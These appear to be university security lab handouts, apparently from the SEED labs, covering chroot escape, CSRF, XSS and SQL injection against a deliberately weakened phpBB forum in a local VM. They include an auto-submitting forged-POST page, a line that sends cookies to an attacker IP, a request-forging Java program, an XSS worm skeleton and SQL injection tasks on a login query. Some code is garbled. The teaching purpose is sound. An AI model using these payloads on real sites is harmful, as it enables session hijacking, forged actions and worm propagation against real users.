- **Hint 3:** You may want to get familiar with the `chdir(char *)`, `chroot(char *)`, and `getcwd(char *buf, size_t size)` system calls and functions. The `chdir()` call is used to change directory (it is used to implement the `cd` command). The `chroot()` call changes the root directory to that specified in path. It should be noted that the `chroot()`
call does not change the current working directory, so that ‘.’ can be outside the tree rooted
at ‘/’. The `getcwd()` call gets the current working directory. The following code snippet
shows examples of these calls.

```c
char buffer[100];
if(chdir("/tmp") != 0)
    printf("change directory failure \n");
if(chroot("/tmp") != 0)
    printf("chroot failure \n");

getcwd (buffer, 50);
printf("Current Directory: %s\n", buffer);
```

(b) Killing processes: demonstrate how attackers can kill other processes from within a prison.
(c) (20 bonus points) Controlling processes: demonstrate how attackers can use `ptrace()` to
control processes that are outside of the prison?

4. Securing **chroot**: Discuss how you can solve the above problems with **chroot**. Implementation is
not required.

**Submission**

You need to submit a detailed lab report to describe what you have done and what you have observed; you
also need to provide explanation to the observations that are interesting or surprising.
Cross-Site Request Forgery (CSRF) Attack Lab

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1 Overview

The objective of this lab is to help students understand cross-site-request forgery (CSRF or XSRF) attacks. A CSRF attack involves a victim user, a trusted site, and a malicious site. The victim user holds an active session with a trusted site and simultaneously visits a malicious site. The malicious site injects a HTTP request for the trusted site into the victim user session compromising its integrity.

In this lab, you will be attacking a web-based message board system using CSRF attacks. We modified an open-source message board application called phpBB to make it vulnerable to CSRF attacks. The original application has implemented several countermeasures for avoiding CSRF attacks.

2 Lab Environment

In this lab, we will need three things: (1) the Firefox web browser, (2) the apache web server, and (3) the phpBB message board web application. For the browser, we need to use the LiveHTTPHeaders extension for Firefox to inspect the HTTP requests and responses. The pre-built Ubuntu VM image provided to you has already installed the Firefox web browser with the required extensions.

Starting the Apache Server. The apache web server is also included in the pre-built Ubuntu image. However, the web server is not started by default. You have to first start the web server using one of the following two commands:

% sudo apache2ctl start
or
% sudo service apache2 start

The phpBB Web Application. The phpBB web application is already set up in the pre-built Ubuntu VM image. We have also created several user accounts in the phpBB server. The password information can be obtained from the posts on the front page. You can access the phpBB server (for this lab) using the following URLs (the apache server needs to be started first):

<table>
<thead>
<tr>
<th>URL</th>
<th>Description</th>
<th>Directory</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.csrflabattacker.com">http://www.csrflabattacker.com</a></td>
<td>Attacker web site</td>
<td>/var/www/CSRF/Attacker/</td>
</tr>
<tr>
<td><a href="http://www.originalphpbb.com">http://www.originalphpbb.com</a></td>
<td>Original phpBB</td>
<td>/var/www/OriginalPhpbb/</td>
</tr>
</tbody>
</table>
Configuring DNS. These URLs are only accessible from inside of the virtual machine, because we have modified the /etc/hosts file to map the domain names of these URLs to the virtual machine’s local IP address (127.0.0.1). Basically, we added the following three entries to the /etc/hosts file:

<table>
<thead>
<tr>
<th>IP Address</th>
<th>Domain Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>127.0.0.1</td>
<td><a href="http://www.csrflabattacker.com">www.csrflabattacker.com</a></td>
</tr>
<tr>
<td>127.0.0.1</td>
<td><a href="http://www.csrflabphpbb.com">www.csrflabphpbb.com</a></td>
</tr>
<tr>
<td>127.0.0.1</td>
<td><a href="http://www.originalphpbb.com">www.originalphpbb.com</a></td>
</tr>
</tbody>
</table>

If your web server and browser are running on two different machines, you need to modify "/etc/hosts" on the browser’s machine accordingly to map these URLs to the web server’s IP address.

Configuring Apache Server. In the pre-built VM image, we use Apache server to host all the web sites used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or URLs) on the same machine. A configuration file named default in the directory "/etc/apache2/sites-available" contains the necessary directives for the configuration:

1. The directive "NameVirtualHost *" instructs the web server to use all IP addresses in the machine (some machines may have multiple IP addresses).

2. Each web site has a VirtualHost block that specifies the URL for the web site and directory in the file system that contains the sources for the web site. For example, to configure a web site with URL http://www.example1.com with sources in directory /var/www/Example_1/, and to configure a web site with URL http://www.example2.com with sources in directory /var/www/Example_2/, we use the following blocks:

```html
<VirtualHost *>
   ServerName http://www.example1.com
   DocumentRoot /var/www/Example_1/
</VirtualHost>

<VirtualHost *>
   ServerName http://www.example2.com
   DocumentRoot /var/www/Example_2/
</VirtualHost>
```

You may modify the web application by accessing the source in the mentioned directories. For example, with the above configuration, the web application http://www.example1.com can be changed by modifying the sources in the directory /var/www/Example_1/.

Note for Instructors

This lab may be conducted in a supervised lab environment. The instructor may provide the following background information to students at the beginning of the lab session:

1. Information on how to use the preconfigured virtual machine.

2. How to use the Firefox web browser and LiveHTTPHeaders Extension.

3. How to access the source code for the web applications.
3 Background of CSRF Attacks

A CSRF attack always involved three actors: a trusted site, a victim user, and a malicious site. The victim user simultaneously visits the malicious site while holding an active session with the trusted site. The attack involves the following sequence of steps:

1. The victim user logs into the trusted site using his username and password, and thus creates a new session.
2. The trusted site stores the session identifier for the session in a cookie in the victim user’s web browser.
3. The victim user visits a malicious site.
4. The malicious site’s web page sends a request to the trusted site from the victim user’s browser.
5. The web browser automatically attaches the session cookie to the malicious request because it is targeted for the trusted site.
6. The trusted site processes the malicious request forged by the attacker web site.

The malicious site can forge both HTTP GET and POST requests for the trusted site. Some HTML tags such as `img`, `iframe`, `frame`, and `form` have no restrictions on the URL that can be used in their attribute. HTML `img`, `iframe`, and `frame` can be used for forging GET requests. The HTML `form` tag can be used for forging POST requests. The tasks in this lab involve forging both GET and POST requests for a target application.

4 Lab Tasks

For the lab task, you will use two web sites that are locally setup in the virtual machine. The first web site is the vulnerable phpBB accessible at www.csrflabphpbb.com inside the virtual machine. The second web site is an attacker web site that the student would setup to attack the trusted site. The attacker web site is accessible via www.csrflabattacker.com inside the virtual machine.

4.1 Task 1: Attack using HTTP GET request

In the vulnerable phpBB, a new topic can be posted using a GET request targeted for the following URL:

```
```

The URL has two parameters, `mode=newtopic` and `f=1`. These parameters tell the server-side script `posting.php` that the request is intended to post a new message to forum 1.

To forge a request to post a new topic to the forum, the malicious site can use the URL in a HTML `img` tag inside a web page.

```html
<html>
</html>
```

Whenever the victim user visits the crafted web page in the malicious site, the web browser automatically issues a HTTP GET request for the URL contained in the `img` tag. Because the web browser automatically attaches the session cookie to the request, the trusted site cannot distinguish the malicious request from the genuine request and ends up processing the request compromising the victim user’s session integrity.
For this task, you will observe the structure of a different request for posting a new message in the vulnerable phpBB application and then try to forge it from the malicious site. You can use the LiveHTTPHeaders extensions to observe the contents of the HTTP requests. You will see something similar to the following:

```plaintext
addbbcode18=%23444444&addbbcode20=0&helbbox=Quote+text%3A+%5
Bquote%5Dtext%5B5B+2Fquote%5D++%28alt+%2Bq%29&message=This+is+
my+message&topic=0&poll_title=&add_poll_option_text=&
poll_length=&mode=newtopic&f=1&post=Submit
```

Observe the request structure for posting a new message to the forum and then use this to forge a new request to the application. When the victim user visits the malicious web page, a malicious request for posting a message should be injected into the victim’s active session with phpBB.

### 4.2 Task 2: Attack in HTTP POST request

HTTP GET requests are typically used for requests that do not involve any side effects. The original phpBB does not use GET requests for posting a new message to the forum. We modified the source code of phpBB so that new messages can be posted using GET requests to facilitate task 1.

In this task, you will forge a POST request that modifies the profile information in phpBB - www.csrflabphpbb.com. In an HTTP POST request, the parameters for the request are provided in the HTTP message body. Forging HTTP POST request is slightly more difficult. A HTTP POST message for the trusted site can be generated using a form tag from the malicious site. Furthermore, we need a JavaScript program to automatically submit the form.

The server-side script profile.php allows users to modify their profile information using a POST request. You can observe the structure of the request, i.e the parameters of the request, by making some modifications to the profile and monitoring the request using LiveHTTPHeaders. You may expect to see something similar to the following:

```plaintext
Content-Type: application/x-www-form-urlencoded
Content-Length: 473
username=admin&email=admin%40seed.com&cur_password=&new_password=&
password_confirm=&icq=&aim=&msn=&yim=&website=&location=&
occupation=&%interests=&signature=I+am+good+guy&viewemail=1&
hideonline=0&notifyreply=0&notifyypm=1&attachsig=0&
allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&
stytle=1&timezone=0&dateformat=d+M+Y+h%3Ai+a&mode=editprofile&
agreed=true&coppa=0&user_id=2&
current_email=admin%40seed.com&submit=Submit
```

Now, using the information you gathered from observing the request, you can construct a web page that posts the message. To help you write a JavaScript program to send a HTTP post request, we provide the sample code in Figure 1. This code can also be downloaded from the lab website. You can use this sample code to construct your malicious web site for the CSRF attacks.

### 4.3 Task 3: Understanding phpBB’s Countermeasures

phpBB has implemented some countermeasures to defend against CSRF attacks. To allow the attacks in Task 1 work, we had to modify phpBB code to introduce the vulnerability. Originally, posting.php only takes POST request, not GET. However, from Task 2, we know that changing GET to POST will not prevent the CSRF attacks, it simply makes the attacks a little bit more difficult. phpBB adopts another mechanism to counter the CSRF attacks. It includes the following information in the body of the request:
<html><body><h1>This page sends a HTTP POST request onload.</h1>
<figure>
<pre>
function post(url, fields) {
  var p = document.createElement('form');</p>
  p.action = url;
  p.innerHTML = fields;
  p.target = '_self';
  p.method = 'post';

  // append the form to this web.
  document.body.appendChild(p);

  // submit the form
  p.submit();
}

function csrf_hack() {
  var fields;

  // You should replace the following 3 lines with your form parameters
  fields += "<input type='hidden' name='username' value='Alice'>";
  fields += "<input type='hidden' name='transfer' value='10000'>";
  fields += "<input type='hidden' name='to' value='Bot'>";

  // Note: don’t add an element named ‘submit’ here;
  // otherwise, p.submit() will not be invoked.
  // ‘Submit’ will work.
  post('http://www.example.com', fields);
}

window.onload = function() {csrf_hack();}
</pre>
</figure>

Figure 1: Sample JavaScript program
sid=b349b781ecbb2268c4caf77f530c55ac

This sid value is exactly the same as phpbb2mysql_sid in the cookie. The script in posting.php will check whether this sid value is the same as that in the cookie. If not, the request will fail.

In this task, you need to use the original phpBB forum accessible at http://www.originalphpbb.com, try the attacks again, and describe your observations. Can you bypass the countermeasures? If not, please describe why.

5 Submission

You need to submit a detailed lab report to describe what you have done and what you have observed. Please provide details using LiveHTTPHeaders, Wireshark, and/or screen shots. You also need to provide explanation to the observations that are interesting or surprising.
Cross-Site Scripting (XSS) Attack Lab

1 Overview

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim’s web browser. Using this malicious code, the attackers can steal the victim’s credentials, such as cookies. The access control policies (i.e., the same origin policy) employed by the browser to protect those credentials can be bypassed by exploiting the XSS vulnerability. Vulnerabilities of this kind can potentially lead to large-scale attacks.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web-based message board using phpBB. We modified the software to introduce an XSS vulnerability in this message board; this vulnerability allows users to post any arbitrary message to the board, including JavaScript programs. Students need to exploit this vulnerability by posting some malicious messages to the message board; users who view these malicious messages will become victims. The attackers’ goal is to post forged messages for the victims.

2 Lab Environment

In this lab, we will need three things: (1) the Firefox web browser, (2) the apache web server, and (3) the phpBB message board web application. For the browser, we need to use the LiveHTTPHeaders extension for Firefox to inspect the HTTP requests and responses. The pre-built Ubuntu VM image provided to you has already installed the Firefox web browser with the required extensions.

Starting the Apache Server. The apache web server is also included in the pre-built Ubuntu image. However, the web server is not started by default. You have to first start the web server using one of the following two commands:

```bash
% sudo apache2ctl start
```
or
```
% sudo service apache2 start
```

The phpBB Web Application. The phpBB web application is already set up in the pre-built Ubuntu VM image. We have also created several user accounts in the phpBB server. The password information can be obtained from the posts on the front page. You can access the phpBB server using the following URL (the apache server needs to be started first):

```bash
http://www.xsslabphpbb.com
```
**Configuring DNS.** This URL is only accessible from inside of the virtual machine, because we have modified the `/etc/hosts` file to map the domain name (www.xsslabphpbb.com) to the virtual machine's local IP address (127.0.0.1). You may map any domain name to a particular IP address using the `/etc/hosts`. For example you can map `http://www.example.com` to the local IP address by appending the following entry to `/etc/hosts` file:

```
127.0.0.1 www.example.com
```

Therefore, if your web server and browser are running on two different machines, you need to modify the `/etc/hosts` file on the browser’s machine accordingly to map www.xsslabphpbb.com to the web server’s IP address.

**Configuring Apache Server.** In the pre-built VM image, we use Apache server to host all the web sites used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or URLs) on the same machine. A configuration file named `default` in the directory "/etc/apache2/sites-available" contains the necessary directives for the configuration:

1. The directive "NameVirtualHost *" instructs the web server to use all IP addresses in the machine (some machines may have multiple IP addresses).

2. Each web site has a `VirtualHost` block that specifies the URL for the web site and directory in the file system that contains the sources for the web site. For example, to configure a web site with URL `http://www.example1.com` with sources in directory `/var/www/Example_1/`, and to configure a web site with URL `http://www.example2.com` with sources in directory `/var/www/Example_2/`, we use the following blocks:

```xml
<VirtualHost *
    ServerName http://www.example1.com
    DocumentRoot /var/www/Example_1/
</VirtualHost>

<VirtualHost *
    ServerName http://www.example2.com
    DocumentRoot /var/www/Example_2/
</VirtualHost>
```

You may modify the web application by accessing the source in the mentioned directories. For example, with the above configuration, the web application `http://www.example1.com` can be changed by modifying the sources in the directory `/var/www/Example_1/.

**Other software.** Some of the lab tasks require some basic familiarity with JavaScript. Wherever necessary, we provide a sample JavaScript program to help the students get started. To complete task 3, students may need a utility to watch incoming requests on a particular TCP port. We provide a C program that can be configured to listen on a particular port and display incoming messages. The C program can be downloaded from the web site for this lab.
Note for Instructors

This lab may be conducted in a supervised lab environment. In such a case, the instructor may provide the following background information to the students prior to doing the lab:

1. How to use the virtual machine, Firefox web browser, and the LiveHttpHeaders extension.
2. Basics of JavaScript and XMLHttpRequest object.
3. A brief overview of the tasks.
4. How to use the C program that listens on a port.
5. How to write a java program to send a HTTP message post.

3 Lab Tasks

3.1 Task 1: Posting a Malicious Message to Display an Alert Window

The objective of this task is to post a malicious message that contains JavaScript to display an alert window. The JavaScript should be provided along with the user comments in the message. The following JavaScript will display an alert window:

```html
<script>alert('XSS');</script>
```

If you post this JavaScript along with your comments in the message board, then any user who views this comment will see the alert window.

3.2 Task 2: Posting a Malicious Message to Display Cookies

The objective of this task is to post a malicious message on the message board containing a JavaScript code, such that whenever a user views this message, the user’s cookies will be printed out. For instance, consider the following message that contains a JavaScript code:

```html
<script>alert(document.cookie);</script>
Hello Everybody,
Welcome to this message board.
```

When a user views this message post, he/she will see a pop-up message box that displays the cookies of the user.

3.3 Task 3: Stealing Cookies from the Victim’s Machine

In the previous task, the malicious JavaScript code can print out the user’s cookies; in this task, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code can send a HTTP request to the attacker, with the cookies appended to the request. We can do this by having the malicious JavaScript insert a `<img>` tag with `src` set to the URL of the attackers destination. When the JavaScript inserts the img tag, the browser tries to load the image from the mentioned URL and in the process ends up sending a HTTP GET request to the attackers website. The JavaScript given below sends the cookies to the mentioned port 5555 on the attacker’s machine. On the particular port, the attacker has a TCP server that simply prints out the request it receives. The TCP server program will be given to you (available on the web site of this lab).
Hello Folks,
<script>document.write('<img src=http://attacker_IP_address:5555?c=' + document.cookie + ' >'); </script>
This script is to test XSS. Thanks.

3.4 Task 4: Impersonating the Victim using the Stolen Cookies

After stealing the victim’s cookies, the attacker can do whatever the victim can do to the phpBB web server, including posting a new message in the victim’s name, delete the victim’s post, etc. In this task, we will write a program to forge a message post on behalf of the victim.

To forge a message post, we should first analyze how phpBB works in terms of posting messages. More specifically, our goal is to figure out what are sent to the server when a user posts a message. Firefox’s LiveHTTPHeaders extension can help us; it can display the contents of any HTTP request message sent from the browser. From the contents, we can identify all the the parameters of the message. A screen shot of LiveHTTPHeaders is given in Figure1. The LiveHTTPHeaders extension can be downloaded from http://livehttpheaders.mozdev.org/, and it is already installed in the pre-built Ubuntu VM image.

Once we have understood what the HTTP request for message posting looks like, we can write a Java program to send out the same HTTP request. The phpBB server cannot distinguish whether the request is sent out by the user’s browser or by the attacker’s Java program. As long as we set all the parameters correctly, the server will accept and process the message-posting HTTP request. To simplify your task, we provide you with a sample java program that does the following:

1. Opens a connection to web server.
2. Sets the necessary HTTP header information.
3. Sends the request to web server.
4. Gets the response from web server.

```java
import java.io.*;
import java.net.*;

public class HTTPSimpleForge {
    public static void main(String[] args) throws IOException {
        try {
            int responseCode;
            InputStream responseIn=null;

            // URL to be forged.
            URL url = new URL("http://www.xsslabphpbb.com/profile.php");

            // URLConnection instance is created to further parameterize a
            // resource request past what the state members of URL instance
            // can represent.
            URLConnection urlConn = url.openConnection();
            if (urlConn instanceof HttpURLConnection) {
                urlConn.setConnectTimeout(60000);
                urlConn.setReadTimeout(90000);
            }
        }
    }
}
```
// addRequestProperty method is used to add HTTP Header Information. 
// Here we add User-Agent HTTP header to the forged HTTP packet. 
urlConn.addRequestProperty("User-agent","Sun JDK 1.6");

// HTTP Post Data which includes the information to be sent to the server. 
String data="username=admin&seed=admin%40seed.com";

// DoOutput flag of URL Connection should be set to true 
// to send HTTP POST message. 
urlConn.setDoOutput(true);

// OutputStreamWriter is used to write the HTTP POST data 
// to the url connection. 
OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
wr.write(data);
wrf.flush();

// HttpURLConnection a subclass of URLConnection is returned by 
// url.openConnection() since the url is an http request. 
if (urlConn instanceof HttpURLConnection) {
    HttpURLConnection httpConn = (HttpURLConnection) urlConn;
    // Contacts the web server and gets the status code from 
    // HTTP Response message. 
    responseCode = httpConn.getResponseCode();
    System.out.println("Response Code = "+responseCode);
    // HTTP status code HTTP_OK means the response was 
    // received successfully. 
    if (responseCode == HttpURLConnection.HTTP_OK) {
        // Get the input stream from url connection object. 
        responseIn = urlConn.getInputStream();
        // Create an instance for BufferedReader 
        // to read the response line by line. 
        BufferedReader buf_inp = new BufferedReader( 
            new InputStreamReader(responseIn));
        String inputLine; 
        while((inputLine = buf_inp.readLine())!=null) {
            System.out.println(inputLine);
        }
    }
}
} catch (MalformedURLException e) {
    e.printStackTrace();
}
}

If you have trouble understanding the above program, we suggest you to read the following:

- JDK 6 Documentation: http://java.sun.com/javase/6/docs/api/
Limitation: The forged message post should be generated from the same virtual machine i.e. the victim (user connected to the web forum) and the attacker (one who generates a forged message post) should be on the same machine because phpBB uses IP address and the cookies for session management. If the attacker generates the forged message post from a different machine, the IP address of the forged packet and the victim’s IP address would differ and hence the forged message post would be rejected by the phpBB server, despite the fact that the forged message carries the correct cookie information.

3.5 Task 5: Writing an XSS Worm

In the previous task, we have learned how to steal the cookies from the victim and then forge HTTP requests using the stolen cookies. In this task, we need to write a malicious JavaScript to forge a HTTP request directly from the victim’s browser. This attack does not require the intervention from the attacker. The JavaScript that can achieve this is called a cross-site scripting worm. For this web application, the worm program should do the following:

1. Retrieve the session ID of the user using JavaScript.
2. Forge a HTTP post request to post a message using the session ID.

There are two common types of HTTP requests, one is HTTP GET request, and the other is HTTP POST request. These two types of HTTP requests differ in how they send the contents of the request to the server. In phpBB, the request for posting a message uses HTTP POST request. We can use the XMLHttpRequest object to send HTTP GET and POST requests for web applications. XMLHttpRequest can only send HTTP requests back to the server, instead of other computers, because the same-origin policy is strongly enforced for XMLHttpRequest. This is not an issue for us, because we do want to use XMLHttpRequest to send a forged HTTP POST request back to the phpBB server. To learn how to use XMLHttpRequest, you can study these cited documents [1,2]. If you are not familiar with JavaScript programming, we suggest that you read [3] to learn some basic JavaScript functions. You will have to use some of these functions:

There may also need to debug your JavaScript code. Firebug is a Firefox extension that helps you debug JavaScript code. It can point you to the precise places that contain errors. FireBug can be downloaded from https://addons.mozilla.org/en-US/firefox/addon/1843. It is already installed in our pre-built Ubuntu VM image.

Code Skeleton. We provide a skeleton of the JavaScript code that you need to write. You need to fill in all the necessary details. When you include the final JavaScript code in the message posted to the phpBB message board, you need to remove all the comments, extra space, and new-line characters.

```javascript
<script>
var Ajax=null;

// Construct the header information for the Http request
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true);
Ajax.setRequestHeader("Host","www.xsslabphpbb.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

// Construct the content. The format of the content can be learned
```
To make our worm work, we should pay attention to how the session id information is used by phpBB. From the output of the LiveHTTPHeaders extension, we can notice that sid appears twice in the message-posting request. One is in the cookie section (it is called phpbb2mysql_sid). Therefore, the HTTP POST request sent out by XMLHttpRequest must also include the cookie. We already did it for you in the above skeleton code.

If we look carefully at the LiveHTTPHeaders output, we can see that the same session id also appears in the line that starts with "subject=". The phpBB server uses the session id here to prevent another type of attack (i.e. the cross-site request forgery attack). In our forged message-posting request, we also need to add this session id information; the value of this session id is exactly the same as that in phpbb2mysql_sid. Without this session id in the request, the request will be discarded by the server.

In order to retrieve the sid information from the cookie, you may need to learn some string operations in JavaScript. You should study this cited tutorial [4].

### 3.6 Task 6: Writing a Self-Propagating XSS Worm

The worm built in the previous task only forges a message on behalf of the victims; it does not propagate itself. Therefore, technically speaking, it is not a worm. To be able to propagate itself, the forged message should also include a worm, so whenever somebody clicks on the forged message, a new forged message that carry the same worm will be created. This way, the worm can be propagated. The more people click on the forged messages, the faster the worm can propagate.

In this task, you need to expand what you did in Task 5, and add a copy of the worm to the body of the forged message. The following guidelines will help you with the task:

1. The JavaScript program that posts the forged message is already part of the web page. Therefore, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and display it in an alert window:

```html
<script id=worm>
  var strCode = document.getElementById('worm');
  alert(strCode);
</script>
```

2. **URL Encoding**: All messages transmitted using HTTP over the Internet use URL Encoding, which converts all non-ASCII characters such as space to special code under the URL encoding scheme. In the worm code, messages to be posted in the phpBB forum should be encoded using URL encoding. The escape function can be used to URL encode a string. An example of using the encode function is given below.

```html
<script>
  var strSample = "Hello World";
  var urlEncSample = escape(strScr_23);
  alert(urlEncSample);
</script>
```
3. Under the URL encoding scheme the “+” symbol is used to denote space. In JavaScript programs, “+” is used for both arithmetic operations and string concatenation operations. To avoid this ambiguity, you may use the `concat` function for string concatenation, and avoid using addition. For the worm code in the exercise, you don’t have to use addition.

4 Submission

You need to submit a detailed lab report to describe what you have done and what you have observed. Please provide details using LiveHTTPHeaders, Wireshark, and/or screenshots. You also need to provide explanation to the observations that are interesting or surprising.

References

[1] AJAX for n00bs. Available at the following URL:
   http://www.hunlock.com/blogs/AJAX_for_n00bs.

[2] AJAX POST-It Notes. Available at the following URL:

[3] Essential Javascript – A Javascript Tutorial. Available at the following URL:

[4] The Complete Javascript Strings Reference. Available at the following URL:
http://www.xsslabphpbb.com/posting.php

POST /posting.php HTTP/1.1
Host: www.xsslabphpbb.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: phpbb2mysql_data=......;phpbb2mysql_sid=......
Content-Type: application/x-www-form-urlencoded
Content-Length: 376
subject=<Content of the message>

HTTP/1.x 200 OK
Date: Thu, 11 Jun 2009 19:43:15 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3
X-Powered-By: PHP/5.2.6-3ubuntu4.1
Set-Cookie: phpbb2mysql_data=XXXXXXXXXXX; expires=Fri, GMT; path=/
Set-Cookie: phpbb2mysql_sid=YYYYYYYY; path=/
Set-Cookie: phpbb2mysql_t=XXXXXXXXXX; path=/
Cache-Control: private, pre-check=0, post-check=0, max-age=0
Expires: 0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3904
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Figure 1: Screenshot of LiveHTTPHeaders Extension
SQL Injection Attack Lab

1 Overview

SQL injection is a code injection technique that exploits the vulnerabilities in the interface between web applications and database servers. The vulnerability is present when user’s inputs are not correctly checked within the web applications before sending to the back-end database servers.

Many web applications take inputs from users, and then use these inputs to construct SQL queries, so the web applications can pull the information out of the database. Web applications also use SQL queries to store information in the database. These are common practices in the development of web applications. When the SQL queries are not carefully constructed, SQL-injection vulnerabilities can occur. SQL-injection attacks is one of the most frequent attacks on web applications.

In this lab, we modified a web application called phpBB, and disabled several countermeasures implemented by phpBB2. As the results, we created a version of phpBB that is vulnerable to the SQL-Injection attack. Although our modifications are artificial, they capture the common mistakes made by many web developers. Students’ goal in this lab is to find ways to exploit the SQL-Injection vulnerabilities, demonstrate the damage that can be achieved by the attacks, and master the techniques that can help defend against such attacks.

2 Lab Environment

You need to use our provided virtual machine image for this lab. The name of the VM image that supports this lab is called SEEDUbuntu9-Aug-2010, which is built in August 2010. If you happen to have an older version of our pre-built VM image, you need to download the most recent version, as the older version does not work for this lab. Go to our SEED web page (http://www.cis.syr.edu/~wedu/seed/) to get the VM image.

2.1 Environment Configuration

In this lab, we will need three things: (1) the Firefox web browser, (2) the apache web server, and (3) the phpBB2 message board web application. For the browser, we need to use several Firefox add-ons to inspect and/or modify the HTTP requests and responses. The pre-built Ubuntu VM image provided to you has already installed the Firefox web browser with the required extensions.

Starting the Apache Server. The apache web server is also included in the pre-built Ubuntu image. However, the web server is not started by default. You have to first start the web server using the following command:

  % sudo service apache2 start
The phpBB2 Web Application. The phpBB2 web application is already set up in the pre-built Ubuntu VM image. We have also created several user accounts in the phpBB2 server. The password information can be obtained from the posts on the front page. You can access the phpBB2 server using the following URL (the apache server needs to be started first):

http://www.sqlabmysqlphpbb.com

The source code of web application is located at /var/www/SQL/SQLLabMysqlPhpbb/.

Configuring DNS. This URL is only accessible from inside of the virtual machine, because we have modified the /etc/hosts file to map the domain name (www.sqlabmysqlphpbb.com) to the virtual machine’s local IP address (127.0.0.1). You may map any domain name to a particular IP address using the /etc/hosts. For example you can map http://www.example.com to the local IP address by appending the following entry to /etc/hosts file:

127.0.0.1 www.example.com

Therefore, if your web server and browser are running on two different machines, you need to modify the /etc/hosts file on the browser’s machine accordingly to map www.sqlabmysqlphpbb.com to the web server’s IP address.

Configuring Apache Server. In the pre-built VM image, we use Apache server to host all the web sites used in the SEED labs. The name-based virtual hosting feature in Apache could be used to host several web sites (or URLs) on the same machine. A configuration file named default in the directory "/etc/apache2/sites-available" contains the necessary directives for the configuration:

1. The directive "NameVirtualHost *" instructs the web server to use all IP addresses in the machine (some machines may have multiple IP addresses).

2. Each web site has a VirtualHost block that specifies the URL for the web site and directory in the file system that contains the sources for the web site. For example, to configure a web site with URL http://www.example1.com with sources in directory /var/www/Example_1/, and to configure a web site with URL http://www.example2.com with sources in directory /var/www/Example_2/, we use the following blocks:

```xml
<VirtualHost *>
    ServerName http://www.example1.com
    DocumentRoot /var/www/Example_1/
</VirtualHost>

<VirtualHost *>
    ServerName http://www.example2.com
    DocumentRoot /var/www/Example_2/
</VirtualHost>
```

You may modify the web application by accessing the source in the mentioned directories. For example, with the above configuration, the web application http://www.example1.com can be changed by modifying the sources in the directory /var/www/Example_1/.
2.2 Turn Off the Countermeasure

PHP provides a mechanism to automatically defend against SQL injection attacks. The method is called magic quote, and more details will be introduced in Task 3. Let us turn off this protection first (this protection method is deprecated after PHP version 5.3.0).

2. Find the line: `magic_quotes_gpc = On`.
3. Change it to this: `magic_quotes_gpc = Off`.
4. Restart the apache server by running `sudo service apache2 restart`.

2.3 Note for Instructors

If the instructor plans to hold lab sessions for this lab, we suggest that the following background materials be covered in the lab sessions:

1. How to use the virtual machine, Firefox web browser, the LiveHttpHeaders and Tamper Data add-ons.
2. Brief introduction to SQL: only needs to cover the basic structure of the SELECT, UPDATE, and INSERT statements. A useful online SQL tutorial can be found at [http://www.w3schools.com/sql/](http://www.w3schools.com/sql/).
3. How to operate the MySQL database (only the basics). The account information about the MySQL database can be found in the "User Manual of the Pre-built Ubuntu 9 Virtual Machine", which can be downloaded from our SEED web page.
4. Brief introduction to PHP: only needs to cover the very basics. Students who have a background in C/C++, Java, or other language should be able to pick up this script language quite quickly.

3 Lab Tasks

3.1 Task 1 (30 Points): SQL Injection Attack on SELECT Statements

For this task, you will use the web application accessible via the URL [www.sqlabmysqlphpbb.com](http://www.sqlabmysqlphpbb.com), which is phpBB2 configured with MySQL database, inside your virtual machine. Before you start to use phpBB2, the system will ask you to login. The authentication is implemented by login.php on the server side. This program will display a login window to the user and ask the user to type their username and password. The login window is displayed in the following:
Once the user types the username and password, the login.php program will use the user-provided data to find out whether they match with the username and user_password fields of any record in the database. If there is a match, it means the user has provided a correct username and password combination, and should be allowed to login. Like most other web applications, PHP programs interact with their back-end databases using the standard SQL language. In phpBB2, the following SQL query is constructed in login.php to authenticate users:

```sql
SELECT user_id, username, user_password, user_active, user_level,
      user_login_tries, user_last_login_try
FROM USERS_TABLE
WHERE username = '$username' AND user_password = 'md5($password)';
```

if (found one record)
then {allow the user to login}

In the above SQL statement, the USERS_TABLE is a macro in php which will be replaced by the users table name: phpbb_users. $username is a variable that holds the string typed in the Username textbox, and $password is a variable that holds the string typed in the Password textbox. User’s inputs in these two textboxes are placed directly in the SQL query string.

**SQL Injection Attacks on Login:** There is a SQL-injection vulnerability in the above query. Can you take advantage of this vulnerability to achieve the following objectives?

- Can you log into another person’s account without knowing the correct password?
- Can you find a way to modify the database (still using the above SQL query)? For example, can you add a new account to the database, or delete an existing user account? Obviously, the above SQL statement is a query-only statement, and cannot update the database. However, using SQL injection, you can turn the above statement into two statements, with the second one being the update statement. Please try this method, and see whether you can successfully update the database.

To be honest, we are unable to achieve the update goal. This is because of a particular defense mechanism implemented in MySQL. In the report, you should show us what you have tried in order to modify the database. You should find out why the attack fails, what mechanism in MySQL has
prevented such an attack. You may look up evidences (second-hand) from the Internet to support your conclusion. However, a first-hand evidence will get more points (use your own creativity to find out first-hand evidences). If in case you find ways to succeed in the attacks, you will be awarded bonus points.

3.2 Task 2 (30 Points): SQL Injection on UPDATE Statements

